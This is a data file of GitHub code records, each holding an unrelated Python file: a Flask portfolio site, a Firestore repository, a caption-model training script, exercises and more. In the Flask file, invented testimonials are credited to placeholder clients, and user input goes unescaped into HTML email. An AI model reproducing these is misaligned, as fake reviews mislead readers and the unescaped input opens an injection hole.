finalTheme['total']:\r\n finalTheme['total'] = total\r\n finalTheme['id'] = t.id\r\n return finalTheme['id']\r\n\r\n# Appel LDA pour chaque page pour obtenir les thèmes\r\ndef ldaTheme(page):\r\n #TODO call the LDA library\r\n return 0\r\n\r\n'''------------------------------------------------------------------------\r\nAUTRES METHODES\r\n------------------------------------------------------------------------'''\r\n\r\n# Rechercher un objet dans une liste par ID\r\ndef getElt(eltId, listOfElt):\r\n for elt in listOfElt:\r\n if elt.id == eltId:\r\n return elt\r\n return None\r\n\r\n# Rechercher dans un historic\r\ndef getHistoric(userId, cardId):\r\n for h in historic:\r\n if h.cardId == cardId and h.userId == userId:\r\n return h\r\n newH = History(cardId, userId, 0, 0, 0)\r\n return newH\r\n\r\n# Rechercher tout les historics d'un user ou d'une carte\r\ndef getAllHistory(eltId, eltIsUser):\r\n result = list()\r\n for h in historic:\r\n if eltIsUser is True and h.userId == eltId:\r\n result.append(h)\r\n elif eltIsUser is False and h.cardId == eltId:\r\n result.append(h)\r\n return result\r\n\r\n# rechercher tous les levels avec leurs users, cartes ou les deux\r\ndef getLevels(getCards, getUsers):\r\n result = [l for l in levels]\r\n result.sort(key = lambda level: level.rank)\r\n for r in result:\r\n if getUsers is True:\r\n for u in users:\r\n if u.levelId == r.id:\r\n r.users.append(u)\r\n r.users.sort(key = lambda user: user.complexity)\r\n if getCards is True:\r\n for f in flashcards:\r\n if f.levelId == r.id:\r\n r.cards.append(f)\r\n r.cards.sort(key = lambda card: card.complexity)\r\n return result\r\n","repo_name":"AnasNeumann/flashcards","sub_path":"Engine.py","file_name":"Engine.py","file_ext":"py","file_size_in_byte":9183,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"42795279094","text":"#!/usr/bin/env python2\nimport json\nimport base64\nimport data_defs\n\nf = open('ddec1587-ft-lauderdale.json','r')\ndata_dict = json.load(f)\n\nfor key in data_dict.keys():\n print(\"Parsing %s\" % key)\n this_page = data_dict[key]\n raw_page = base64.b64decode(this_page)\n print(data_defs.parse_message(raw_page))\n","repo_name":"poopgiggle/ddec-extractor","sub_path":"test_parse.py","file_name":"test_parse.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9387800436","text":"\"\"\"\nA bakery sells loaves of bread for $3.49 each. Day old bread is discounted by 60\npercent. Write a program that begins by reading the number of loaves of day old\nbread being purchased from the user. Then your program should display the regular\nprice for the bread, the discount because it is a day old, and the total price.\n\nEach of these amounts should be displayed on its own line with an appropriate label. \nAll of the values should be displayed using two decimal places, and the decimal points in\nall of the numbers should be aligned when reasonable values are entered by the user.\n\"\"\"\n\nprice = 3.49\ndiscount = price * 0.6\nday_old = price - discount\nnum_bread = int(input(\"Number of day old bread bread: \")) # number of day old bread \ntotal_price = num_bread * day_old\n\nprint(\"The regular price for the bread is ${:.2f}, the discount is ${:.2f}, and the total price for {} loaves is ${:.2f}\".format(price, discount, num_bread, total_price))","repo_name":"chimaihueze/The-Python-Workbook","sub_path":"Chapter 1/exercise34_day_old_bread.py","file_name":"exercise34_day_old_bread.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70037731420","text":"import os\n\nfrom src.categories.entities.category import Category\n\n# Implementación con Firestore para el repositorio de libros.\n\nclass FirestoreCategoriesRepository():\n \n def __init__(self, firestore_client, test = False):\n\n # Obtener el nombre de la colección desde variables de entorno.\n # Si \"test\" es true, se le agrega un sufijo, útil para que \n # las pruebas de integración no sobreescriban los datos existentes.\n\n self.test = test\n collection_name = os.environ[\"FIRESTORE_COLLECTION_NAME\"]\n\n if test:\n collection_name += \"_test\"\n\n self.collection = firestore_client.collection(collection_name)\n\n def get_categories(self, name = None, description = None, products = None, status = None, seller_user = None, transactions = None, category = None):\n\n # Trae una lista de libros desde la colección de Firestore.\n # Al buscarlos, los transforma a entidad Category antes de retornarlos.\n # Opcionalmente puede recibir parámetros para filtrar por algún campo.\n\n results = self.collection.where(\"deleted_at\", \"==\", None)\n\n if name:\n results = results.where(\"name\", \"==\", name)\n\n if description:\n results = results.where(\"description\", \"==\", description)\n\n if products:\n results = results.where(\"products\", \"==\", products)\n \n\n categories = []\n \n for document in results.stream():\n\n content = document.to_dict()\n content[\"id\"] = document.id\n\n category = Category.from_dict(content)\n categories.append(category)\n\n return categories\n\n def get_category(self, category_id):\n\n content = self.collection.document(category_id).get().to_dict()\n\n if content and content.get(\"deleted_at\") == None:\n\n content[\"id\"] = category_id\n category = Category.from_dict(content)\n \n return category\n\n else:\n return None\n\n def create_category(self, category):\n\n content = category.to_dict()\n content.pop(\"id\")\n\n document = self.collection.document()\n document.set(content)\n\n category.id = document.id\n \n return category\n\n def update_category(self, category_id, fields):\n\n # Actualiza la lista de campos recibida el documento especificado.\n\n document = self.collection.document(category_id).update(fields)\n return self.get_category(category_id)\n\n def hard_delete_category(self, category_id):\n\n # Hace un borrado real de un libro. Sólo usado durante tests.\n\n if self.test:\n self.collection.document(category_id).delete()\n\n def hard_delete_all_categories(self):\n\n # Borra todos los libros de la colección. Sólo usado durante tests.\n\n if self.test:\n\n for document in self.collection.stream():\n self.hard_delete_category(document.id)","repo_name":"Kenny2397/test_enviame","sub_path":"docker-python/ecommerce-service/src/categories/repositories/firestore_categories_repository.py","file_name":"firestore_categories_repository.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12280408673","text":"import dash\nfrom dash.dependencies import Output, Input\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.graph_objs as go\nfrom plotly.subplots import make_subplots\nfrom aktools.conf import hosts,dashboard_refresh\n\n\nexternal_stylesheets = [\"https://codepen.io/chriddyp/pen/bWLwgP.css\"]\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\ncolors = {\"background\": \"#111111\", \"text\": \"#7FDBFF\"}\n\n\napp.layout = html.Div(\n style={\"backgroundColor\": colors[\"background\"]},\n children=[\n html.H1(\n children=\"Network log analytics\",\n style={\"textAlign\": \"center\", \"color\": colors[\"text\"]},\n ),\n html.Div(\n [\n html.Div(\n [\n html.H2(\n \"\"\"Select a host:\"\"\",\n style={\"margin-right\": \"1em\", \"color\": colors[\"text\"]},\n )\n ],\n ),\n dcc.Dropdown(\n id=\"hosts_dropdown\",\n options=[{\"label\": i, \"value\": i} for i in hosts],\n value=\"Hannibal\", # default value\n style=dict(width=\"40%\", display=\"inline-block\"),\n ),\n ],\n style={\"display\": \"flex\", \"align-items\": \"center\"},\n ),\n dcc.Graph(id=\"live-graphs_host\"),\n dcc.Interval(id=\"graph-update\", interval=dashboard_refresh), # graph updates in ms\n ],\n)\n","repo_name":"nskldi/dash-file-processor","sub_path":"aktools/graphics.py","file_name":"graphics.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40816735613","text":"from datetime import datetime, timedelta, timezone\nfrom portfolio import app,mail\nfrom flask import Flask, render_template, url_for, redirect, request, flash, jsonify, session\nfrom flask_mail import Mail, Message\n\nimport pandas as pd\nimport json\nimport plotly\nimport plotly.express as px\nimport plotly.graph_objects as go\nimport os\nimport re\nimport random\n\n\nreviews_list = [\n {\"review\":\"I was impressed by Zachary's expertise in data cleaning and analysis. The results were presented in an organized and easy-to-understand way.\", \"source\":\"John Doe, XYZ Inc.\"},\n {\"review\":\"Working with Zachary on our data visualization project was a pleasure. The final product exceeded our expectations and was delivered on time.\", \"source\":\"Jane Doe, ABC Ltd.\"},\n {\"review\":\"As a Python beginner, I appreciated Zachary's patience and clear explanations. Zachary helped me understand complex concepts and execute a successful project.\", \"source\":\"Bob Smith, Tech Company\"},\n {\"review\":\"I was pleased with Zachary's professionalism throughout our data analysis project. Communication was prompt and results were delivered as promised.\", \"source\":\"Rachel Lee, Marketing Agency\"},\n {\"review\":\"The data visualizations created by Zachary for our team were outstanding. They were not only visually appealing but also effectively conveyed the key insights.\", \"source\":\"Tom Brown, Financial Institute\"},\n {\"review\":\"I highly recommend Zachary for any data cleaning or analysis project. Zachary's attention to detail and efficiency saved us a lot of time and effort.\", \"source\":\"Sarah Johnson, Retail Company\"},\n {\"review\":\"As a manager, I appreciate Zachary's communication skills and ability to deliver results on time. Zachary is a true asset to any team.\", \"source\":\"David Lee, Consulting Firm\"},\n {\"review\":\"I was impressed by Zachary's skill with Python. The scripts Zachary wrote for our company have saved us a significant amount of time and effort.\", \"source\":\"Emily Davis, Manufacturing Company\"},\n {\"review\":\"Working with Zachary on our data analysis project was a seamless experience. Zachary was able to turn our raw data into meaningful insights with ease.\", \"source\":\"Michael Anderson, Healthcare Company\"},\n {\"review\":\"I highly recommend Zachary for their professionalism and expertise in data analysis. Zachary helped us make data-driven decisions that improved our bottom line.\", \"source\":\"Jessica Parker, Software Company\"}\n ]\n\n\n\ncall_to_action_list = [\"Discover what I can do\", \"Collaborate with me\", \"Let's start a project\", \"Explore my portfolio\", \"Find out how I can help\", \"Let's create something great\", \"See my work in action\", \"Let's work together\"]\n\nemail_subject_line_list = ['Request for Data Science/ Data Analysis Information']\n\nemail_body_list = [\"Hi Zachary,%0D%0A%0D%0A I hope this email finds you well. I came across your portfolio website and was impressed by your experience and expertise in data science. I am interested in learning more about your services and would appreciate it if you could share with me more information on the projects you've worked on, your rates, and availability.%0D%0A%0D%0A Thank you for your time and I look forward to hearing back from you soon.\"]\n\nsubscriber_list = ['zasturmggan@gmail.com']\n\ndef set_subscribed(sub=False):\n session['subscribed'] = sub\n session.permanent = True\n return sub\n\n@app.context_processor\ndef random_txt_subscribe():\n mailing_list_txt = random.choice(app.config['MAILING_LIST_TXT_LIST'])\n email_subject_line = random.choice(email_subject_line_list)\n email_body = random.choice(email_body_list)\n subscribed = session.get('subscribed', False)\n return dict(mailing_list_txt = mailing_list_txt, email_subject_line=email_subject_line, email_body=email_body, reviews_list=reviews_list, subscribed=subscribed)\n\n\n\n\n\ndef redirect_url(default='home'):\n return request.args.get('next') or \\\n request.referrer or \\\n url_for(default)\n\ndef add_subscriber(name, email):\n msg = Message(\n subject = 'New Subscriber: '+name,\n recipients= [\"zasturman@gmail.com\", \"zacharysturman@zsdynamics.com\"],\n body = \"name: \"+name+\"\\n email: \"+email\n )\n mail.send(msg)\n set_subscribed()\n\n@app.route('/send_mail', methods=[\"GET\", \"POST\"])\ndef send_mail():\n name = request.form.get(\"name\")\n email = request.form.get(\"email\")\n input_message = request.form.get(\"message\")\n\n def to_emailer():\n\n if email in subscriber_list:\n msg = Message(\n subject = 'Thanks for reaching out!',\n recipients= [email],\n html = \"\"\"<h5>Hello, \"\"\"+name+\"\"\". Thank you for reaching out</h5><br><br> <p><em>Here's what you said: </em></p> <br> <p>\"\"\"+ input_message +\"\"\" <button><a href={{ url_for('subscribe_from_email') }}>Click Me!</a></button>\"\"\"\n )\n else:\n msg = Message(\n subject = 'Thanks for reaching out!',\n recipients= [email],\n html = \"\"\"<h5>Hello, \"\"\"+name+\"\"\". Thank you for reaching out</h5><br><br> <button><a href=\"zsdynamics.com/subscribe_from_email\">Click here to subscribe</a></button>\"\"\"\n )\n \n mail.send(msg)\n\n def to_me():\n msg = Message(\n subject = 'To Me',\n recipients= [\"zacharysturman@zsdynamics.com\"],\n html = \"from: \"+name+\" email: \"+email+\" message: \"+input_message\n )\n mail.send(msg)\n \n to_emailer()\n to_me()\n flash(f\"Thanks for reaching out! A reply will be sent to your email soon\", 'success')\n\n return redirect(redirect_url())\n\n\n\n@app.route('/subscribe', methods=[\"GET\", \"POST\"])\ndef subscribe():\n name = request.form.get(\"new-subscribers-name\")\n email = request.form.get(\"new-subscribers-email\")\n if email is None or email == '':\n flash('Please enter a valid email', 'danger')\n return redirect(redirect_url())\n msg = Message(\n subject = 'Welcome '+name+\"!\",\n recipients= [email],\n html = \"\"\"<h5>Hello, \"\"\"+name+\"\"\". Thank you for subscribing</h5><br> <p>Would you like to see the coolest stuff ZSDynamics has made?</p><br> <a href=\"\"\"+app.config['WELCOME_BASKET_LINK']+\"\"\">Yes, of course</a>\"\"\"\n )\n add_subscriber(name, email)\n mail.send(msg)\n set_subscribed(True)\n flash(f'Check your email for your welcome basket', 'success')\n\n return redirect(redirect_url())\n\n@app.route('/already_subscribed', methods=['POST'])\ndef already_subscribed():\n set_subscribed(True)\n return redirect(redirect_url())\n \n\n@app.route(\"/\")\n@app.route(\"/home\")\ndef home():\n env = app.config[\"ENV\"]\n print(env)\n return render_template('home.html', title=\"Home\", env=env)\n\n@app.route(\"/about\")\ndef about():\n return render_template('about.html', title=\"About\")\n\n@app.route(\"/portfolio\")\ndef portfolio():\n return render_template('portfolio.html', title=\"Portfolio\")\n\n@app.route(\"/data_analytics\")\ndef data_analytics():\n return render_template('data_analytics.html', title=\"Data Analytics\")\n\n@app.route(\"/back_end\")\ndef back_end():\n return render_template('back_end.html', title=\"Back-end Developer\")\n \n@app.route(\"/front_end\")\ndef front_end():\n return render_template('front_end.html', title=\"Front-end Developer\")\n\n\n@app.route(\"/contact\")\ndef contact():\n return render_template('contact.html', title=\"Contact Page\")\n\n\n@app.route(\"/sliding_scale_project_page\")\ndef sliding_scale_project_page():\n return render_template('sliding_scale_project.html', title=\"Examining Tip Redistributing\")\n\n@app.route(\"/subscribe_from_email\", methods=['GET','POST'])\ndef subscribe_from_email():\n flash(f'You have successfully subscribed to ZSDynamics', 'success')\n return render_template('thanks_for_subscribing.html', title=\"Thank For Subscribing!\")\n\n\n@app.route(\"/battle_fictional_character\", methods=['GET', 'POST'])\ndef battle_fictional_character():\n all_data = pd.read_csv(\"portfolio/dashboard_data/dashboard_all_columns_with_imgs.csv\")\n num_vs=2\n random_rows = all_data\n\n level_list = all_data['Level'].unique().tolist()\n level_list = sorted(level_list)\n creator_list = all_data['Creator'].unique().tolist()\n creator_list = sorted(creator_list)\n tier_list = all_data['Tier'].unique().tolist()\n tier_list = sorted(tier_list)\n\n if request.method == 'POST':\n session['level'] = request.form.get('selectLevel')\n session['creator'] = request.form.get('selectCreator')\n if session['level'] != \"any\":\n level_filter = session.get('level')\n if level_filter == 'Any':\n level_filter = None\n else:\n level_filter = int(level_filter)\n all_data = all_data[all_data['Level']== level_filter]\n print(\"Level - \", all_data.shape)\n\n if session['creator'] != \"any\":\n creator_filter = session.get('creator')\n if creator_filter == 'Any':\n creator_filter = None\n else:\n all_data = all_data[all_data['Creator']== creator_filter]\n print(\"Creator - \", all_data.shape)\n else:\n level_filter = None\n creator_filter=None\n \n html_data = all_data.drop('Super_powers', axis=1)\n\n data_shape = all_data.shape\n data_shape = int(data_shape[0])\n if data_shape < 2:\n not_enough_data = True\n else:\n not_enough_data = False\n random_rows = all_data.sample(n=num_vs)\n\n import_list = []\n counter = 0\n for i, row in random_rows.iterrows():\n var_name = \"row\" + str(counter)\n var_char = \"char_img\" + str(counter)\n character = row['Character']\n character = re.sub(r\"[^a-zA-Z0-9()-]\", \"_\", character)\n creator = row['Creator_World']\n creator = re.sub(r\"[^a-zA-Z0-9()-]\", \"_\", creator)\n char_img = \"images/db_chars/\"+character+\"_\"+creator+\".jpg\"\n globals()[var_name] = row\n globals()[var_char] = char_img\n import_list.append(var_char)\n import_list.append(var_name)\n counter += 1\n\n max_index = random_rows['Overall'].idxmax()\n\n winner = random_rows.at[max_index, 'Character']\n\n keep_columns = ['Combat', 'Durability', 'Intelligence', 'Power', 'Speed', 'Strength']\n random_rows = random_rows[keep_columns]\n\n color1 = \"rgba(139, 218, 234, 0.9)\"\n color1_border = \"rgb(91, 144, 155)\"\n color2 = \"rgba(234, 139, 139, 0.9)\"\n color2_border = \"rgb(169, 99, 99)\"\n\n color_map = [color1, color2]\n color_border = [color1_border, color2_border]\n names = [row0['Character'], row1['Character']]\n\n\n vs_fig=go.Figure()\n for i in range(num_vs):\n vs_fig.add_trace(go.Bar(x=random_rows.columns, y=random_rows.iloc[i], marker=dict(color=color_map[i], line=dict(width=2, color=color_border[i])), name=names[i], hoverinfo='x+y+text'))\n\n vs_fig.update_layout(barmode='group', yaxis_range=[0,105], showlegend=False, paper_bgcolor='rgba(0,0,0,0)', margin=dict(l=0, r=25, t=25, b=25), xaxis=dict(showgrid=False, tickfont=dict(color='rgba(255, 255, 253, 0.815)', size=16)), yaxis=dict(showgrid=False, tickfont=dict(color='rgba(255, 255, 253, 0.815)')), plot_bgcolor='rgba(0,0,0,0)', hoverlabel=dict(font=dict(size=18, color='white'), bgcolor='black'))\n graphJSON = json.dumps(vs_fig, cls=plotly.utils.PlotlyJSONEncoder)\n \n return render_template('battle_fictional_character.html', title=\"Fictional Character Battle\", graphJSON=graphJSON, row0=row0, row1=row1, winner=winner, char_img1=char_img1, char_img0=char_img0, level_list=level_list, level_filter=level_filter, creator_list=creator_list, creator_filter=creator_filter, html_table=html_data.to_html(classes='html_dashboard', border=1), not_enough_data=not_enough_data)\n\n\n\n\n\n@app.route(\"/periodic_table\", methods=['GET', 'POST'])\ndef periodic_table():\n df = pd.read_csv(\"portfolio/dash_application/data/periodic_table.csv\")\n df['Element Type'].fillna(\"Unknown\", inplace=True)\n df.columns = df.columns.str.lower()\n df.columns = df.columns.str.replace(' ', '_')\n column_list = df.columns.to_list()\n df['year_of_discovery'] = df['year_of_discovery'].fillna(0).astype(int)\n df['year_of_discovery'] = df['year_of_discovery'].replace(0, \"unknown\")\n\n\n element_type_list = df['element_type'].unique()\n phase_list = df['phase'].unique()\n \n unique_item_lists = {}\n for col in column_list:\n unique_items = df[col].unique()\n unique_item_lists[col] = unique_items\n\n\n dropdown_list = ['period', 'phase', 'element_type']\n not_displayed = ['display_row', 'display_column']\n in_square = ['atomic_weight', 'atomic_number','element','symbol']\n more_info_list = ['most_stable_crystal', 'isotopes', 'discoverer', 'year_of_discovery', 'electron_configuration']\n range_list = ['electronegativity', 'melting_point_(k)', 'boiling_point_(k)', 'specific_heat_capacity']\n not_sure_yet_list = ['ionic_radius', 'atomic_radius', 'density', 'group', 'first_ionization_potential']\n\n min_values = {}\n max_values = {}\n step_value ={}\n for col in range_list:\n #for each column I want to find the min and max values\n min_values[col] = df[col].astype(float).min()\n max_values[col] = df[col].astype(float).max()\n step_value[col] = df[col].value_counts()\n\n\n elements = df.to_dict('records')\n return render_template(\"periodic_table.html\", elements=elements, unique_item_lists=unique_item_lists, column_list=column_list, dropdown_list=dropdown_list, not_displayed=not_displayed, in_square=in_square, more_info_list=more_info_list, min_values=min_values, max_values=max_values, range_list=range_list, step_value=step_value, element_type_list=element_type_list, phase_list=phase_list)\n\n\n@app.route('/update_selected_element', methods=['POST'])\ndef update_selected_element():\n df = pd.read_csv(\"portfolio/dash_application/data/periodic_table.csv\")\n df['Element Type'].fillna(\"Unknown\", inplace=True)\n df.columns = df.columns.str.lower()\n df.columns = df.columns.str.replace(' ', '_')\n\n element_name = request.json['elementName']\n filter_data = df['element'] == element_name\n selected_element = df[filter_data].to_dict()\n return selected_element\n","repo_name":"ZSturman/Data_Science_Portfolio_Flask","sub_path":"portfolio/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":14192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34947037261","text":"import os\nimport sys\nimport json\nfrom common import log\n\n\nclass Setup:\n \"\"\"Classe de configuração do CLI INSPETOR PROTHEUS\n \"\"\"\n def __init__(self, appserver_path, appserver_name, conns, alwaysup, alwaysdown, is_default=False):\n self.appserver_path = appserver_path\n self.appserver_name = appserver_name\n self.conns = conns\n self.alwaysup = alwaysup\n self.alwaysdown = alwaysdown\n self.is_default = is_default\n\n def get_appserver_path(self):\n return self.appserver_path\n\n def set_appserver_path(self, path):\n self.appserver_path = path\n\n def get_appserver_name(self):\n return self.appserver_name\n\n def set_appserver_name(self, name):\n self.appserver_name = name\n\n def get_alwaysup(self):\n return self.alwaysup\n\n def set_alwaysup(self, alwaysup):\n self.alwaysup = alwaysup\n\n def get_alwaysdown(self):\n return self.alwaysdown\n\n def set_alwaysdown(self, alwaysdown):\n self.alwaysdown = alwaysdown\n\n def get_conns(self):\n return self.conns\n\n def set_conns(self, conns):\n self.conns = conns\n\n def get_ini_conns(self) -> list:\n list_conn: list = []\n path: str = os.path.join(self.get_appserver_path(), self.get_appserver_name())\n print(path)\n try:\n with open(path, \"r+\") as ini:\n file_ini = ini.read()\n\n filtro = file_ini.splitlines()\n for line_ini in filtro:\n if line_ini.startswith('REMOTE_SERVER'):\n temp = line_ini.split('=')\n list_conn.append(temp[1].strip().replace(\" \", \":\"))\n\n except FileNotFoundError:\n log('Erro ao tentar abrir o INI do BROKER, verifique as chaves APPSERVER_NAME e APPSERVER_PATH se estão corretas', 'ERROR')\n sys.exit(\"Arquivo de configuração do Broker não foi localizado!\")\n except PermissionError:\n log('Erro ao tentar abrir o INI do BROKER, permissão negada', 'ERROR')\n finally:\n pass\n\n return list_conn\n\n def set_config(self, key, value) -> dict:\n conf: dict = {}\n\n with open('settings.json') as json_file:\n conf = json.load(json_file)\n conf.update(dict({key: value}))\n\n with open('settings.json', 'w') as json_read:\n json.dump(conf, json_read, indent=4)\n\n return conf\n\n def get_config(self) -> dict:\n conf: dict = {}\n\n if not os.path.exists('settings.json'):\n self.sample_config()\n\n with open('settings.json') as json_file:\n conf = json.load(json_file)\n return conf\n\n def init_setup(self):\n init_data = {\n 'appserver_path': os.getcwd(),\n 'appserver_name': 'appserver.ini',\n 'conns': [],\n 'alwaysup': [],\n 'alwaysdown': [],\n \"rpo_name\": \"\",\n \"rpo_master\": \"\",\n \"rpo_slave\": []\n }\n with open('settings.json') as json_file:\n conf = json.load(json_file)\n conf.update(init_data)\n\n with open('settings.json', 'w') as json_read:\n json.dump(conf, json_read, indent=4)\n\n def load(self):\n\n data = self.get_config()\n\n self.appserver_path = data.get('appserver_path', '')\n self.appserver_name = data.get('appserver_name', '')\n self.conns = data.get('conns', [])\n self.alwaysup = data.get('alwaysup', [])\n self.alwaysdown = data.get('alwaysdown', [])\n\n def updata_conns(self):\n\n ips = self.get_ini_conns()\n self.set_conns(ips)\n self.set_config('conns', ips)\n\n def sample_config(self):\n sample = {\n \"oci\": [],\n \"appserver_name\": \"appserver.ini\",\n \"appserver_path\": os.getcwd(),\n \"startinstance\": \"00:00\",\n \"stopinstance\": \"00:00\",\n \"enableservice\": \"00:00\",\n \"disableservice\": \"00:00\",\n \"repeat\": \"daily\",\n \"conns\": [],\n \"alwaysup\": [],\n \"alwaysdown\": [],\n \"bot\": {\n \"bot_token\": \"\",\n \"bot_chatid\": \"\"}}\n\n with open('settings.json', 'w') as json_read:\n json.dump(sample, json_read, indent=4)\n\n def set_bot(self, key, value) -> dict:\n conf: dict = {}\n\n with open('settings.json') as json_file:\n conf = json.load(json_file)\n conf['bot'].update(dict({key: value}))\n\n with open('settings.json', 'w') as json_read:\n json.dump(conf, json_read, indent=4)\n\n return conf\n","repo_name":"HenriqueLuizz/protheus-warmup","sub_path":"src/protheus/menu_setup.py","file_name":"menu_setup.py","file_ext":"py","file_size_in_byte":4649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"38446509425","text":"import loadData\r\nimport model\r\nfrom keras.callbacks import ModelCheckpoint\r\n\r\n#load training images\r\nfilename = 'C:/Users/admin/Downloads/imageCpation/Flickr8k_text/Flickr_8k.trainImages.txt'\r\ntrain = loadData.load_set(filename) \r\nprint(\"Train Dataset: %d \" %len(train))\r\n\r\n#load training descriptions\r\nfilename2 = 'C:/Users/admin/Downloads/imageCpation/Flickr8k_text/descriptions.txt'\r\ntrain_descriptions = loadData.load_clean_descriptions(filename2,train)\r\nprint(\"Training Descriptions : %d \" %len(train_descriptions))\r\n\r\n#load photo features\r\nfilename3 = 'C:/Users/admin/Downloads/imageCpation/features.pkl'\r\ntrain_features = loadData.load_photo_features(filename3,train) \r\nprint(\"Photos: train = %d\" %len(train_features)) \r\n\r\n#prepare tokenizer\r\ntokenizer = loadData.create_tokenizer(train_descriptions)\r\nvocab_size = len(tokenizer.word_index) + 1\r\nprint(\"Vocabulary size : %d\" %vocab_size) \r\n\r\n#determine maximum sequence length\r\nmax_length = loadData.max_length(train_descriptions)\r\nprint('Description Length: %d' % max_length)\r\n\r\n#prepare sequences\r\nX1train,X2train,ytrain = loadData.create_sequences(tokenizer,max_length,train_descriptions,train_features,vocab_size)\r\n\r\n#dev Dataset (Kind of validation)\r\nfilename4 = 'C:/Users/admin/Downloads/imageCpation/Flickr8k_text/Flickr_8k.devImages.txt'\r\ntest = loadData.load_set(filename4)\r\nprint(\"Test Dataset : %d \" %len(test))\r\n\r\n#load descriptions\r\nfilename5 = 'C:/Users/admin/Downloads/imageCpation/Flickr8k_text/descriptions.txt'\r\ntest_descriptions = loadData.load_clean_descriptions(filename2,test)\r\nprint(\"Test Descriptions : %d \" %len(test_descriptions))\r\n\r\n#load photo features\r\nfilename3 = 'C:/Users/admin/Downloads/imageCpation/features.pkl'\r\ntest_features = loadData.load_photo_features(filename3,test) \r\nprint(\"Photos: train = %d\" %len(test_features)) \r\n\r\n#prepare tokenizer\r\n#tokenizer = loadData.create_tokenizer(test_descriptions)\r\n#vocab_size = len(tokenizer.word_index) + 1\r\n#print(\"Vocabulary size : %d\" %vocab_size) \r\n\r\n#prepare the sequences\r\nX1test,X2test,ytest = loadData.create_sequences(tokenizer,max_length,test_descriptions,test_features,vocab_size)\r\n\r\n#define the model\r\nmodel = model.define_model(vocab_size,max_length)\r\n\r\n#define checkpoint callback\r\nfilepath = 'model-ep{epoch:03d}-loss{loss:.3f}-val_loss{val_loss:.3f}.h5'\r\ncheckpoint = ModelCheckpoint(filepath,monitor='val_loss',verbose=1,save_best_only=True,mode='min')\r\n\r\n#fit the model\r\nmodel.fit([X1train,X2train],ytrain,epochs=20,verbose=2,callbacks=[checkpoint],validation_data=([X1test,X2test],ytest))\r\n\r\n","repo_name":"siddarthaThentu/Deep-Learning-Photo-Caption-Generator","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"71174833500","text":"from typing import List\n\nfrom la_panic.panic_parser.exception import LaPanicException\n\n\nclass EmptyRawCrashStack(LaPanicException):\n pass\n\n\nclass ValueNotExistInStack(LaPanicException):\n pass\n\n\nclass ReachedEndOfStack(LaPanicException):\n def __init__(self, already_read_stack: List[str]):\n super().__init__()\n\n self.read_stack = already_read_stack\n\n\nclass RawCrashStack(object):\n __index = 0\n __crash_stack: [str]\n\n def __init__(self, panic_info_string: str):\n self.__crash_stack = list(filter(None, panic_info_string.strip().split(\"\\n\")))\n\n def pop(self, number_of_pops: int = 1) -> [str]:\n if len(self.__crash_stack) == self.__index:\n raise EmptyRawCrashStack\n\n values = []\n for _ in range(number_of_pops):\n current_index_value = self.__crash_stack[self.__index]\n self.__index += 1\n values.append(current_index_value)\n\n return values\n\n def pop_one(self) -> str:\n return self.pop()[0]\n\n def pop_value_from_key_value_pair(self) -> str:\n return self.pop_one().split(':')[1].strip()\n\n def pop_hex_value_from_key_value_pair(self) -> hex:\n return hex(int(self.pop_one().split(':')[1], 16))\n\n def search_first_appearance(self, string_to_search: str) -> int:\n if len(self.__crash_stack) == self.__index:\n raise EmptyRawCrashStack\n\n for line_number, line in enumerate(self.__crash_stack[self.__index:]):\n if string_to_search in line:\n return line_number + self.__index\n\n raise ValueNotExistInStack\n\n def value_in_index(self, value_index: int) -> str:\n if len(self.__crash_stack) < value_index:\n raise ValueNotExistInStack\n\n return self.__crash_stack[value_index]\n\n def pop_until_line_containing(self, substring: str) -> [str]:\n if len(self.__crash_stack) == self.__index:\n raise EmptyRawCrashStack\n\n lines_until_substring: List[str] = []\n while substring not in self.__crash_stack[self.__index]:\n lines_until_substring.append(self.__crash_stack[self.__index])\n\n self.__index += 1\n if len(self.__crash_stack) == self.__index:\n raise ReachedEndOfStack(lines_until_substring)\n\n return lines_until_substring\n","repo_name":"Nicodab/Esiea_course","sub_path":"iOS Security/myenv/lib/python3.11/site-packages/la_panic/data_structure/raw_crash_stack.py","file_name":"raw_crash_stack.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31812676160","text":"N = int(input())\ndistances = list(map(int, input().split()))\nprices = list(map(int, input().split()))\nmoney = 0\nstopIndex = 0\n\nfor i in range(N):\n if i < stopIndex:\n continue\n for j in range(i, N):\n if prices[i] > prices[j]:\n stopIndex = j\n break\n if stopIndex == i:\n money += prices[i] * sum(distances[i:N-1])\n break\n else:\n money += prices[i] * sum(distances[i:stopIndex])\n if stopIndex == N-1:\n break\n\nprint(money)\n","repo_name":"all1m-algorithm-study/2021-1-Algorithm-Study","sub_path":"week2/Group6/boj13305_donghoonKang.py","file_name":"boj13305_donghoonKang.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"10349795622","text":"from reptify import (\n ElementSet as dom,\n HTMLBase,\n Scripts as js,\n Libraries,\n HTMLFile\n)\n\nhello_p = dom.p('Hello')\n\ncontainer = dom.div(\n body=[\n hello_p,\n dom.p('How are you?')\n ],\n className=\"container\"\n)\n\nhome_page = HTMLBase(container)\n\nhome_page.insertScript(\n js.EventListener(hello_p,'click',\n js.Alert('HELLO!!!')\n 